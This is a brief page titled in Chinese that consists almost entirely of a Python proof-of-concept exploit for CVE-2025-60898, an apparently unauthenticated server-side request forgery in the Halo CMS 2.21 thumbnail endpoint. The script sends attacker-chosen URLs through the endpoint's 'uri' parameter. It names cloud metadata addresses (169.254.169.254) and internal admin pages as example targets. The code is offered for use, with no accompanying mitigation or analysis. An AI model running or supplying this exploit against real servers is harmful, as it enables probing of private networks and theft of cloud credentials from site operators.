CVE-2025-60898 Halo CMS 2.21 Thumbnail via-uri端点SSRF漏洞

import requests import sys def exploit_ssrf(target_url, internal_target): """ CVE-2025-60898 PoC - Halo CMS 2.21 SSRF via Thumbnail via-uri endpoint Args: target_url: Target Halo CMS server URL internal_target: Internal URL to probe (e.g., http://169.254.169.254/latest/meta-data/) Returns: Response from the SSRF request """ # Construct the vulnerable endpoint endpoint = f"{target_url.rstrip('/')}/api/thumbnails/thumbnail" # Payload with via-uri parameter pointing to internal resource params = { 'uri': internal_target } print(f"[*] Targeting: {endpoint}") print(f"[*] Probing internal resource: {internal_target}") try: # Send request without authentication response = requests.get(endpoint, params=params, timeout=10, allow_redirects=False) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Headers: {dict(response.headers)}") if response.status_code == 307: print(f"[!] SSRF Confirmed - Location Header: {response.headers.get('Location', 'N/A')}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <internal_url>") print(f"Example: python {sys.argv[0]} http://target.com http://127.0.0.1:8080/admin") sys.exit(1) target = sys.argv[1] internal = sys.argv[2] exploit_ssrf(target, internal)